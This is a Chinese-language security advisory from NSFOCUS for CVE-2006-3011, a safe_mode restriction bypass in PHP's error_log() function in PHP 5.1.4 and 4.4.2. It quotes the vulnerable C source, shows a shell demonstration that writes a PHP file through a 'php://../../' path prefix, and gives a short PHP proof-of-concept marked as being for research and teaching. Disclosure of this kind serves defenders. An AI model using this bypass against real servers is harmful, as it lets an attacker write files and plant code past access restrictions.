首页 -> 安全研究

安全研究

安全漏洞
PHP error_log()安全模式限制绕过漏洞

发布日期:2006-06-26
更新日期:2006-06-26

受影响系统:
PHP PHP 5.1.4
PHP PHP 4.4.2
描述:
BUGTRAQ  ID: 18645
CVE(CAN) ID: CVE-2006-3011

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的error_log()函数中存在安全模式限制绕过漏洞:

PHP5:
- -2013-2050---
PHPAPI int _php_error_log(int opt_err, char *message, char *opt, char *headers TSRMLS_DC)

    php_stream *stream = NULL;

    switch (opt_err) {

        case 1:        /*send an email */
            {
#if HAVE_SENDMAIL
                if (!php_mail(opt, "PHP error_log message", message, headers, NULL TSRMLS_CC)) {
                    return FAILURE;
                }
#else
                php_error_docref(NULL TSRMLS_CC, E_WARNING, "Mail option not available!");
                return FAILURE;
#endif
            }
            break;

        case 2:        /*send to an address */
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "TCP/IP option not available!");
            return FAILURE;
            break;

        case 3:        /*save to a file */
            stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERROR
S, NULL);
            if (!stream)
                return FAILURE;
            php_stream_write(stream, message, strlen(message));
            php_stream_close(stream);
            break;

        default:
            php_log_err(message TSRMLS_CC);
            break;
    }
    return SUCCESS;

- -2013-2050---

在选项3中:

- -2038 line---
stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS,
NULL);
- -2038 line---

漏洞存在于php_stream_open_wrapper()。如果用户提供了“prefix://../../”的话,IGNORE_URL就会关闭safe_mode。

- -示例---

cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, "/www/temp/sr.php"
);'

Warning: error_log(): SAFE MODE Restriction in effect.  The script whose uid is 0 is not allowed to a
ccess /www/temp owned by uid
80 in Command line code on line 1

Warning: error_log(/www/temp/sr.php): failed to open stream: Invalid argument in Command line code on
line 1
cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, "php://../../www/temp
/sr.php");'
cxib# ls -la /www/temp/sr.php
- -rw-r--r--  1 cxib  www  16 Jun 11 17:47 /www/temp/sr.php
cxib#

拥有加载任意PHP代码或指定error_log()函数调用参数权限的用户可以利用这个漏洞从目标系统读取或写入受限文件。

<*来源:Maksymilian Arciemowicz (max@jestsuper.pl
  
  链接:http://www.securitytracker.com/alerts/2006/Jun/1016377.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$file=""; # FILENAME
error_log("<? echo \"cx\"; ?>", 3, "php://../../".$file);
?>

建议:
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

浏览次数:2776
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障